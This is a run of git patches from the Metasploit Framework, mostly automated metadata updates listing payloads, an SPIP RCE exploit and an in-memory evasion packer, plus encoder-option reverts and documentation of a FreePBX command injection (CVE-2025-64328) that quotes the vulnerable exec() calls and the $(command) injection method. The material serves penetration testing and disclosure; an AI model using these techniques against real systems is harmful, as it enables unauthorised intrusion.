     "path": "/modules/payloads/stagers/java/reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "java/meterpreter/reverse_tcp",
@@ -252824,7 +252824,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-02-20 18:46:18 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/payloads/stagers/java/bind_tcp.rb",
     "is_install_path": true,
     "ref_name": "java/shell/bind_tcp",
@@ -252858,7 +252858,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-02-20 18:46:18 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/payloads/stagers/java/reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "java/shell/reverse_tcp",
@@ -252892,7 +252892,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-02-20 18:46:18 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/payloads/singles/java/shell_reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "java/shell_reverse_tcp",
@@ -274095,7 +274095,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-02-26 17:12:49 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/post/linux/busybox/set_dns.rb",
     "is_install_path": true,
     "ref_name": "linux/busybox/set_dns",

From 5482e518329a9100d977aaf50c6f8be93a34c120 Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Sun, 8 Mar 2026 19:19:48 +0000
Subject: [PATCH 056/103] Bump version of framework to 6.4.122

---
 Gemfile.lock                        | 2 +-
 LICENSE_GEMS                        | 2 +-
 lib/metasploit/framework/version.rb | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index abb7bc3891594..356bcb9472ba3 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (6.4.121)
+    metasploit-framework (6.4.122)
       aarch64
       abbrev
       actionpack (~> 7.2.0)
diff --git a/LICENSE_GEMS b/LICENSE_GEMS
index 946c07eb7cf96..7fab5a45ebc74 100644
--- a/LICENSE_GEMS
+++ b/LICENSE_GEMS
@@ -97,7 +97,7 @@ memory_profiler, 1.1.0, MIT
 metasm, 1.0.5, LGPL-2.1
 metasploit-concern, 5.0.5, "New BSD"
 metasploit-credential, 6.0.20, "New BSD"
-metasploit-framework, 6.4.121, "New BSD"
+metasploit-framework, 6.4.122, "New BSD"
 metasploit-model, 5.0.4, "New BSD"
 metasploit-payloads, 2.0.240, "3-clause (or ""modified"") BSD"
 metasploit_data_models, 6.0.15, "New BSD"
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index 68a044634cf7a..24c58ae39190e 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -32,7 +32,7 @@ def self.get_hash
         end
       end
 
-      VERSION = "6.4.121"
+      VERSION = "6.4.122"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From 4c87d1ac10b26cb8e9822ac06446c57ca8ef4129 Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Mon, 9 Mar 2026 09:47:36 +0000
Subject: [PATCH 057/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 61 +++++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index 70fc4d41677ef..becfab0588cc1 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -119563,6 +119563,67 @@
     "session_types": false,
     "needs_cleanup": null
   },
+  "exploit_multi/http/spip_saisies_rce": {
+    "name": "SPIP Saisies Plugin Unauthenticated RCE",
+    "fullname": "exploit/multi/http/spip_saisies_rce",
+    "aliases": [],
+    "rank": 600,
+    "disclosure_date": "2025-02-19",
+    "type": "exploit",
+    "author": [
+      "OpenStudio",
+      "Valentin Lobstein <chocapikk@leakix.net>"
+    ],
+    "description": "This module exploits an unauthenticated PHP code injection in the SPIP\n          Saisies plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is\n          interpolated unsanitized into a hidden field rendered with\n          interdire_scripts=false, allowing direct PHP code execution via template\n          eval.\n\n          Exploitation requires a publicly accessible page containing a\n          saisies-powered form, most commonly created with the Formidable plugin.\n          Use the FORM_PAGE option to specify a known form page, or set it to\n          'crawl' to automatically discover one by following internal links from\n          the SPIP sitemap.\n\n          Versions 5.4.0 through 5.11.0 of the saisies plugin are affected.",
+    "references": [
+      "CVE-2025-71243",
+      "URL-https://blog.spip.net/Mise-a-jour-critique-de-securite-pour-le-plugin-Saisies.html",
+      "URL-https://plugins.spip.net/saisies"
+    ],
+    "platform": "Linux,PHP,Unix,Windows",
+    "arch": "php, cmd",
+    "rport": 80,
+    "autofilter_ports": [
+      80,
+      8080,
+      443,
+      8000,
+      8888,
+      8880,
+      8008,
+      3000,
+      8443
+    ],
+    "autofilter_services": [
+      "http",
+      "https"
+    ],
+    "targets": [
+      "PHP In-Memory",
+      "Unix/Linux Command Shell",
+      "Windows Command Shell"
+    ],
+    "mod_time": "2026-03-05 14:13:05 +0000",
+    "path": "/modules/exploits/multi/http/spip_saisies_rce.rb",
+    "is_install_path": true,
+    "ref_name": "multi/http/spip_saisies_rce",
+    "check": true,
+    "post_auth": false,
+    "default_credential": false,
+    "notes": {
+      "Stability": [
+        "crash-safe"
+      ],
+      "Reliability": [
+        "repeatable-session"
+      ],
+      "SideEffects": [
+        "ioc-in-logs"
+      ]
+    },
+    "session_types": false,
+    "needs_cleanup": null
+  },
   "exploit_multi/http/splunk_auth_rce_cve_2022_43571": {
     "name": "Authenticated RCE in Splunk (SimpleXML dashboard PDF generation)",
     "fullname": "exploit/multi/http/splunk_auth_rce_cve_2022_43571",

From 9283a25efb59d7c82e0744b6daf0004c9346c2d5 Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Mon, 9 Mar 2026 14:44:26 +0000
Subject: [PATCH 058/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 80 +++++++++++++++++++++++++++++++++++
 1 file changed, 80 insertions(+)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index becfab0588cc1..0991a53ecc167 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -25124,6 +25124,86 @@
       }
     ]
   },
+  "auxiliary_gather/leakix_search": {
+    "name": "LeakIX Search",
+    "fullname": "auxiliary/gather/leakix_search",
+    "aliases": [],
+    "rank": 300,
+    "disclosure_date": null,
+    "type": "auxiliary",
+    "author": [
+      "Valentin Lobstein <chocapikk@leakix.net>",
+      "LeakIX <support@leakix.net>"
+    ],
+    "description": "This module uses the LeakIX API to search for exposed services and data leaks.\n          LeakIX is a search engine focused on indexing internet-exposed services and\n          leaked credentials/databases.\n\n          An API key is required (free at https://leakix.net).\n\n          Actions:\n          SEARCH     - Query LeakIX with a search string and scope (leak or service).\n          Paginated, 20 results per page, max 500 pages (10000 results).\n          Free accounts have lower page limits.\n          HOST       - Retrieve all known services and leaks for a given IP\n          DOMAIN     - Retrieve all known services and leaks for a given domain\n          SUBDOMAINS - List known subdomains for a given domain\n          PLUGINS    - List all available LeakIX scanner plugins\n          BULK       - Stream all leak results via the bulk API (Pro only, leak scope only).\n          Use MAXRESULTS to limit the number of collected events.\n\n          Query examples:\n          +country:\"France\"\n          +port:3306 +country:\"Germany\"\n          plugin:HttpOpenProxy\n          +software.name:\"nginx\" +country:\"US\"",
+    "references": [
+      "URL-https://leakix.net",
+      "URL-https://docs.leakix.net"
+    ],
+    "platform": "",
+    "arch": "",
+    "rport": null,
+    "autofilter_ports": [
+      80,
+      8080,
+      443,
+      8000,
+      8888,
+      8880,
+      8008,
+      3000,
+      8443
+    ],
+    "autofilter_services": [
+      "http",
+      "https"
+    ],
+    "targets": null,
+    "mod_time": "2026-03-04 17:13:03 +0000",
+    "path": "/modules/auxiliary/gather/leakix_search.rb",
+    "is_install_path": true,
+    "ref_name": "gather/leakix_search",
+    "check": false,
+    "post_auth": false,
+    "default_credential": false,
+    "notes": {
+      "Stability": [
+        "crash-safe"
+      ],
+      "SideEffects": [
+        "ioc-in-logs"
+      ],
+      "Reliability": []
+    },
+    "session_types": false,
+    "needs_cleanup": false,
+    "actions": [
+      {
+        "name": "BULK",
+        "description": "Bulk search via streaming API (Pro only, leak scope only)"
+      },
+      {
+        "name": "DOMAIN",
+        "description": "Get details for a specific domain"
+      },
+      {
+        "name": "HOST",
+        "description": "Get details for a specific IP address"
+      },
+      {
+        "name": "PLUGINS",
+        "description": "List available LeakIX plugins"
+      },
+      {
+        "name": "SEARCH",
+        "description": "Search LeakIX for services or leaks"
+      },
+      {
+        "name": "SUBDOMAINS",
+        "description": "List subdomains for a domain"
+      }
+    ]
+  },
   "auxiliary_gather/listmonk_env_disclosure": {
     "name": "Listmonk Insecure Sprig Template Functions Environment Disclosure",
     "fullname": "auxiliary/gather/listmonk_env_disclosure",

From fef03d3bb7b7f686cf75fa910a766c147fff68bb Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Mon, 9 Mar 2026 15:50:07 +0000
Subject: [PATCH 059/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 31 +++++++++++++++++++++++++++++++
 1 file changed, 31 insertions(+)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index 0991a53ecc167..cbc7b32829786 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -66110,6 +66110,37 @@
     "session_types": false,
     "needs_cleanup": false
   },
+  "evasion_linux/x64/rc4_packer": {
+    "name": "Linux RC4 Encrypted Payload Generator",
+    "fullname": "evasion/linux/x64/rc4_packer",
+    "aliases": [],
+    "rank": 300,
+    "disclosure_date": null,
+    "type": "evasion",
+    "author": [
+      "Massimo Bertocchi"
+    ],
+    "description": "This evasion module packs Linux payloads using RC4 encryption\n          and executes them from memory using memfd_create for fileless execution.\n          Linux kernel version support: 3.17+",
+    "references": [],
+    "platform": "Linux",
+    "arch": "x64",
+    "rport": null,
+    "autofilter_ports": null,
+    "autofilter_services": null,
+    "targets": [
+      "Linux x64"
+    ],
+    "mod_time": "2026-02-27 16:02:35 +0000",
+    "path": "/modules/evasion/linux/x64/rc4_packer.rb",
+    "is_install_path": true,
+    "ref_name": "linux/x64/rc4_packer",
+    "check": false,
+    "post_auth": false,
+    "default_credential": false,
+    "notes": {},
+    "session_types": false,
+    "needs_cleanup": false
+  },
   "evasion_linux/x86/rc4_packer": {
     "name": "Linux RC4 Packer with In-Memory Execution (x86)",
     "fullname": "evasion/linux/x86/rc4_packer",

From e341db58f780886aab482c13816dbde8fd61d9e3 Mon Sep 17 00:00:00 2001
From: jbx81-1337 <jbx81@protonmail.com>
Date: Tue, 10 Mar 2026 10:18:07 +0100
Subject: [PATCH 060/103] fix: default option for base64 encoder

---
 modules/encoders/cmd/base64.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/encoders/cmd/base64.rb b/modules/encoders/cmd/base64.rb
index 3f05ad7f3032c..9cd0d8472735e 100644
--- a/modules/encoders/cmd/base64.rb
+++ b/modules/encoders/cmd/base64.rb
@@ -25,7 +25,7 @@ def initialize
 
     register_advanced_options(
       [
-        OptEnum.new('Base64Decoder', [ false, 'The binary to use for base64 decoding', '', %w[base64 base64-long base64-short openssl] ])
+        OptEnum.new('Base64Decoder', [ false, 'The binary to use for base64 decoding', 'base64', %w[base64 base64-long base64-short openssl] ])
       ]
     )
   end

From 04ff6f8767d71170cafe1dcab10955f7d54d0dc5 Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Tue, 10 Mar 2026 10:43:17 +0000
Subject: [PATCH 061/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index cbc7b32829786..a652d75a31415 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -64656,7 +64656,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-01-09 05:51:46 +0000",
+    "mod_time": "2026-03-10 10:18:07 +0000",
     "path": "/modules/encoders/cmd/base64.rb",
     "is_install_path": true,
     "ref_name": "cmd/base64",

From 7dcec2e0cb081801da16a86bdf59877ac7cc5460 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Tue, 10 Mar 2026 14:57:54 -0400
Subject: [PATCH 062/103] Switch to false by default

---
 modules/auxiliary/gather/ldap_query.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/auxiliary/gather/ldap_query.rb b/modules/auxiliary/gather/ldap_query.rb
index 00976440abe5b..8aa1c13da18f2 100644
--- a/modules/auxiliary/gather/ldap_query.rb
+++ b/modules/auxiliary/gather/ldap_query.rb
@@ -69,7 +69,7 @@ def initialize(info = {})
     ])
 
     register_advanced_options([
-      OptBool.new('LDAP::QuerySacl', [true, 'Query the SACL field from security descriptors (requires privileges)', true])
+      OptBool.new('LDAP::QuerySacl', [true, 'Query the SACL field from security descriptors (requires privileges)', false])
     ])
   end
 

From 4f9b9d5dac111982b4013ec5ae13759099810577 Mon Sep 17 00:00:00 2001
From: adfoster-r7 <alandavid_foster@rapid7.com>
Date: Tue, 10 Mar 2026 19:02:20 +0000
Subject: [PATCH 063/103] Revert "Land #21088, Fix base64 encoder"

This reverts commit 437f7387547cb6f310b09a62b59de5b3360dd718, reversing
changes made to e6ee6a7c94610e045fac6cddd5f5c391ea128c07.
---
 modules/encoders/cmd/base64.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/encoders/cmd/base64.rb b/modules/encoders/cmd/base64.rb
index 9cd0d8472735e..3f05ad7f3032c 100644
--- a/modules/encoders/cmd/base64.rb
+++ b/modules/encoders/cmd/base64.rb
@@ -25,7 +25,7 @@ def initialize
 
     register_advanced_options(
       [
-        OptEnum.new('Base64Decoder', [ false, 'The binary to use for base64 decoding', 'base64', %w[base64 base64-long base64-short openssl] ])
+        OptEnum.new('Base64Decoder', [ false, 'The binary to use for base64 decoding', '', %w[base64 base64-long base64-short openssl] ])
       ]
     )
   end

From eba2c59f71c9a86fbf11af3f48bc28894ebcc9b4 Mon Sep 17 00:00:00 2001
From: adfoster-r7 <alandavid_foster@rapid7.com>
Date: Tue, 10 Mar 2026 19:03:51 +0000
Subject: [PATCH 064/103] Revert "Land #20852, exposes encoder options for
 exploit and payloads"

This reverts commit 96958dedbbccb88d545356fed5950911f6160a4f, reversing
changes made to 8e03b6e98a094c8d1d54fba9489069f93ecd0cd9.
---
 lib/msf/core/payload.rb                       | 39 -------------------
 .../ui/console/command_dispatcher/common.rb   | 16 --------
 lib/msf/ui/console/command_dispatcher/core.rb | 19 ---------
 .../ui/console/command_dispatcher/exploit.rb  |  4 --
 .../ui/console/command_dispatcher/modules.rb  | 26 -------------
 modules/encoders/cmd/base64.rb                |  2 +-
 6 files changed, 1 insertion(+), 105 deletions(-)

diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb
index 689845d8a869e..a141088da0dd0 100644
--- a/lib/msf/core/payload.rb
+++ b/lib/msf/core/payload.rb
@@ -527,45 +527,6 @@ def self.choose_payload(mod)
     nil
   end
 
-  def self.choose_encoder(mod)
-    payload_name = mod.datastore['PAYLOAD']
-    payload = mod.framework.payloads.create(payload_name)
-    return nil unless payload
-    compatible_encoders = payload.compatible_encoders.map(&:first)
-    configure_encoder = lambda do |encoder|
-      if payload.datastore.is_a?(Msf::DataStore)
-        payload_defaults = { 'ENCODER' => encoder }
-         mod.datastore.import_defaults_from_hash(payload_defaults, imported_by: 'choose_encoder')
-      else
-        mod.datastore['ENCODER'] = encoder
-      end
-
-      encoder
-    end
-
-    # If there is only one compatible encoder, return it immediately
-    if compatible_encoders.length == 1
-      return configure_encoder.call(compatible_encoders.first)
-    end
-
-    # Prefer encoders that are known to be reliable
-    preferred_encoders = [
-      'x86/shikata_ga_nai',
-      'x64/zutto_dekiru',
-      'cmd/base64',
-    ]
-
-    preferred_encoders.each do |type|
-      encoder = compatible_encoders.find { |name| name.end_with?(type) }
-
-      next unless encoder
-
-      return configure_encoder.call(encoder)
-    end
-
-    return compatible_encoders&.first
-  end
-
   #
   # A placeholder stub, to be overridden by mixins
   #
diff --git a/lib/msf/ui/console/command_dispatcher/common.rb b/lib/msf/ui/console/command_dispatcher/common.rb
index 6f60343f8ae64..3dc3a90ca7556 100644
--- a/lib/msf/ui/console/command_dispatcher/common.rb
+++ b/lib/msf/ui/console/command_dispatcher/common.rb
@@ -130,22 +130,6 @@ def show_options(mod) # :nodoc:
       end
     end
 
-    if ((mod.exploit? or mod.evasion? or mod.payload?) and mod.datastore['ENCODER'])
-      e = framework.encoders.create(mod.datastore['ENCODER'])
-
-      if (!e)
-        print_error("Invalid encoder defined: #{mod.datastore['ENCODER']}\n")
-        return
-      end
-
-      e.share_datastore(mod.datastore)
-
-      if (e)
-        e_opt = Serializer::ReadableText.dump_options(e, '   ')
-        print("\nEncoder options (#{mod.datastore['ENCODER']}):\n\n#{e_opt}\n") if (e_opt and e_opt.length > 0)
-      end
-    end
-
     # Print the selected target
     if (mod.exploit? and mod.target)
       mod_targ = Serializer::ReadableText.dump_exploit_target(mod, '   ')
diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb
index f06cb7697b36e..a9269a94eb06c 100644
--- a/lib/msf/ui/console/command_dispatcher/core.rb
+++ b/lib/msf/ui/console/command_dispatcher/core.rb
@@ -2190,25 +2190,6 @@ def cmd_set(*args)
       end
     end
 
-    # Set ENCODER
-    if name.upcase == 'ENCODER' && active_module && active_module.exploit? && !clear
-      value = trim_path(value, 'encoder')
-
-      payload = active_module.framework.payloads.create(datastore['PAYLOAD'])
-      
-      unless payload
-        print_error("Please set a valid PAYLOAD before setting the ENCODER.")
-        return false
-      end
-
-      index_from_list(payload.compatible_encoders, value) do |mod|
-        return false unless mod && mod.respond_to?(:first)
-        # [name, class] from compatible_encoders
-        value = mod.first
-      end
-    end
-
-
     unless global || valid_options.any? { |vo| vo.casecmp?(name) }
       message = "Unknown datastore option: #{name}."
       suggestion = DidYouMean::SpellChecker.new(dictionary: valid_options).correct(name).first
diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb
index 0ed0acda8d490..0c966111e6ec2 100644
--- a/lib/msf/ui/console/command_dispatcher/exploit.rb
+++ b/lib/msf/ui/console/command_dispatcher/exploit.rb
@@ -288,10 +288,6 @@ def self.choose_payload(mod)
     Msf::Payload.choose_payload(mod)
   end
 
-  def self.choose_encoder(mod)
-    Msf::Payload.choose_encoder(mod)
-  end
-
 end
 
 end end end end
diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb
index 95a5788516d9d..23c0d1f3aef83 100644
--- a/lib/msf/ui/console/command_dispatcher/modules.rb
+++ b/lib/msf/ui/console/command_dispatcher/modules.rb
@@ -908,14 +908,6 @@ def cmd_use(*args)
               print_status("No payload configured, defaulting to #{chosen_payload}") if chosen_payload
             end
 
-            # Choose a default encoder when the module is used, not run
-            if mod.datastore['ENCODER']
-              print_status("Using configured encoder #{mod.datastore['ENCODER']}")
-            elsif dispatcher.respond_to?(:choose_encoder)
-              chosen_encoder = dispatcher.choose_encoder(mod) 
-              print_status("No encoder configured, defaulting to #{chosen_encoder}") if chosen_encoder
-            end
-
             if framework.features.enabled?(Msf::FeatureManager::DISPLAY_MODULE_ACTION) && mod.respond_to?(:actions) && mod.actions.size > 1
               print_status "Setting default action %grn#{mod.action.name}%clr - view all #{mod.actions.size} actions with the %grnshow actions%clr command"
             end
@@ -1680,24 +1672,6 @@ def show_advanced_options(mod) # :nodoc:
                 print("\nPayload advanced options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
               end
             end
-
-            if ((mod.exploit? or mod.evasion? or mod.payload?) and mod.datastore['ENCODER'])
-              e = framework.encoders.create(mod.datastore['ENCODER'])
-
-              if (!e)
-                print_error("Invalid encoder defined: #{mod.datastore['ENCODER']}\n")
-                return
-              end
-
-              e.share_datastore(mod.datastore)
-
-              if (e)
-                e_opt = Serializer::ReadableText.dump_advanced_options(e, '   ')
-                print("\nEncoder advanced options (#{mod.datastore['ENCODER']}):\n\n#{e_opt}\n") if (e_opt and e_opt.length > 0)
-              end
-            end
-
-
             print("\nView the full module info with the #{Msf::Ui::Tip.highlight('info')}, or #{Msf::Ui::Tip.highlight('info -d')} command.\n\n")
           end
 
diff --git a/modules/encoders/cmd/base64.rb b/modules/encoders/cmd/base64.rb
index 3f05ad7f3032c..f4f771a1945ae 100644
--- a/modules/encoders/cmd/base64.rb
+++ b/modules/encoders/cmd/base64.rb
@@ -25,7 +25,7 @@ def initialize
 
     register_advanced_options(
       [
-        OptEnum.new('Base64Decoder', [ false, 'The binary to use for base64 decoding', '', %w[base64 base64-long base64-short openssl] ])
+        OptString.new('Base64Decoder', [ false, 'The binary to use for base64 decoding', '', %w[base64 base64-long base64-short openssl] ])
       ]
     )
   end

From 777ce591190fc342e6fb5545104ea93a4ce438c7 Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Tue, 10 Mar 2026 20:31:01 +0000
Subject: [PATCH 065/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index a652d75a31415..6cc1c6cc96346 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -64656,7 +64656,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-03-10 10:18:07 +0000",
+    "mod_time": "2026-03-10 19:03:51 +0000",
     "path": "/modules/encoders/cmd/base64.rb",
     "is_install_path": true,
     "ref_name": "cmd/base64",
@@ -225283,7 +225283,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-20 02:57:34 +0000",
+    "mod_time": "2026-02-25 09:25:25 +0000",
     "path": "/modules/payloads/singles/cmd/unix/bind_netcat.rb",
     "is_install_path": true,
     "ref_name": "cmd/unix/bind_netcat",

From 8ab51cfafce4049b88e70c07b94b582e79977981 Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Tue, 10 Mar 2026 21:40:43 +0000
Subject: [PATCH 066/103] Bump version of framework to 6.4.123

---
 Gemfile.lock                        | 2 +-
 LICENSE_GEMS                        | 2 +-
 lib/metasploit/framework/version.rb | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 356bcb9472ba3..b5be2e33f7a68 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (6.4.122)
+    metasploit-framework (6.4.123)
       aarch64
       abbrev
       actionpack (~> 7.2.0)
diff --git a/LICENSE_GEMS b/LICENSE_GEMS
index 7fab5a45ebc74..c4957c7bfd518 100644
--- a/LICENSE_GEMS
+++ b/LICENSE_GEMS
@@ -97,7 +97,7 @@ memory_profiler, 1.1.0, MIT
 metasm, 1.0.5, LGPL-2.1
 metasploit-concern, 5.0.5, "New BSD"
 metasploit-credential, 6.0.20, "New BSD"
-metasploit-framework, 6.4.122, "New BSD"
+metasploit-framework, 6.4.123, "New BSD"
 metasploit-model, 5.0.4, "New BSD"
 metasploit-payloads, 2.0.240, "3-clause (or ""modified"") BSD"
 metasploit_data_models, 6.0.15, "New BSD"
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index 24c58ae39190e..d86af92e10e57 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -32,7 +32,7 @@ def self.get_hash
         end
       end
 
-      VERSION = "6.4.122"
+      VERSION = "6.4.123"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From 1ff23f106139e2842c7e152790cd31e3c73a29a6 Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Wed, 11 Mar 2026 15:46:15 +0000
Subject: [PATCH 067/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index 6cc1c6cc96346..4da1e8b11f5b7 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -24965,7 +24965,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2025-11-28 19:15:17 +0000",
+    "mod_time": "2026-03-11 16:36:35 +0000",
     "path": "/modules/auxiliary/gather/ldap_query.rb",
     "is_install_path": true,
     "ref_name": "gather/ldap_query",

From c266e687c27c20dc65da2a8710371b4f9a4a04ff Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Sun, 23 Nov 2025 00:36:21 +0100
Subject: [PATCH 068/103] Add authenticated RCE module for FreePBX filestore
 (CVE-2025-64328)

---
 .../http/freepbx_filestore_cmd_injection.md   | 206 ++++++++++++++++++
 ...xorcom_complete_pbx.rb => complete_pbx.rb} |   2 +-
 lib/msf/core/exploit/remote/http/freepbx.rb   |  82 +++++++
 lib/msf_autoload.rb                           |   2 +
 ...orcom_completepbx_diagnostics_file_read.rb |   2 +-
 .../xorcom_completepbx_file_disclosure.rb     |   2 +-
 .../http/xorcom_completepbx_scheduler.rb      |   2 +-
 .../http/freepbx_filestore_cmd_injection.rb   | 168 ++++++++++++++
 8 files changed, 462 insertions(+), 4 deletions(-)
 create mode 100644 documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md
 rename lib/msf/core/exploit/remote/http/{xorcom_complete_pbx.rb => complete_pbx.rb} (98%)
 create mode 100644 lib/msf/core/exploit/remote/http/freepbx.rb
 create mode 100644 modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb

diff --git a/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md b/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md
new file mode 100644
index 0000000000000..77bcd714b1ea8
--- /dev/null
+++ b/documentation/modules/exploit/unix/http/freepbx_filestore_cmd_injection.md
@@ -0,0 +1,206 @@
+## Vulnerable Application
+
+FreePBX is an open-source web-based graphical user interface for managing Asterisk. This module exploits an authenticated command injection
+vulnerability (CVE-2025-64328) in the FreePBX filestore module.
+
+The vulnerability exists in the SSH driver's testconnection functionality, specifically in the `check_ssh_connect()` function located at
+`/admin/modules/filestore/drivers/SSH/testconnection.php`. The function accepts user-controlled input for the SSH key path parameter, which
+is then passed unsanitized to `exec()` calls when generating SSH keys.
+
+By injecting shell command substitution syntax (e.g., `$(command)`) into the key parameter, an authenticated user can execute arbitrary
+commands on the underlying system with the privileges of the web server process (typically the asterisk user).
+
+This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in 17.0.2.36, patched in 17.0.3). The module
+requires valid FreePBX credentials for a user account that has access to the filestore module. The user must be in the "Filestore" group
+(administrator or low-privilege user).
+
+## Vulnerability Analysis
+
+The vulnerability was introduced in filestore module version 17.0.2.36 when the `testconnection.php` file was first added to provide
+SSH connection testing functionality (commit: e4ec96ab - "Filestore: Add Connection testing"). The initial implementation contained
+multiple `exec()` calls that used user-controlled input without proper sanitization:
+
+1. **Line 9**: `exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");`
+   - The `$key` parameter is directly interpolated into the command string without sanitization.
+
+2. **Line 12**: `exec("ssh-keygen -y -f $key > $publickey");`
+   - The `$key` parameter is again used without sanitization, causing the injected command to execute a second time.
+
+Due to this code structure, the injected command is executed multiple times within the `check_ssh_connect()` function, potentially
+resulting in multiple Meterpreter sessions being opened.
+
+The fix was implemented in version 17.0.3, which added comprehensive input validation and sanitization functions
+(`validate_and_sanitize_key()`, `validate_and_sanitize_host()`, `validate_and_sanitize_user()`, `validate_and_sanitize_path()`) and used
+`escapeshellarg()` for all parameters passed to `exec()`.
+
+The following FreePBX version has been tested:
+
+- FreePBX 17 with filestore module 17.0.2.44
+
+## Testing
+
+To set up a test environment using Docker:
+
+1. Create a `docker-compose.yml` file with the following content:
+```yaml
+services:
+  mariadb:
+    image: mariadb:10.11
+    container_name: freepbx-db
+    restart: unless-stopped
+    environment:
+      MYSQL_ROOT_PASSWORD: changeme-root
+      MYSQL_DATABASE: asterisk
+      MYSQL_USER: freepbx
+      MYSQL_PASSWORD: changeme-db
+    volumes:
+      - db-data:/var/lib/mysql
+    networks:
+      - freepbx-net
+
+  freepbx:
+    build:
+      context: .
+      dockerfile: Dockerfile
+    container_name: freepbx-app
+    depends_on:
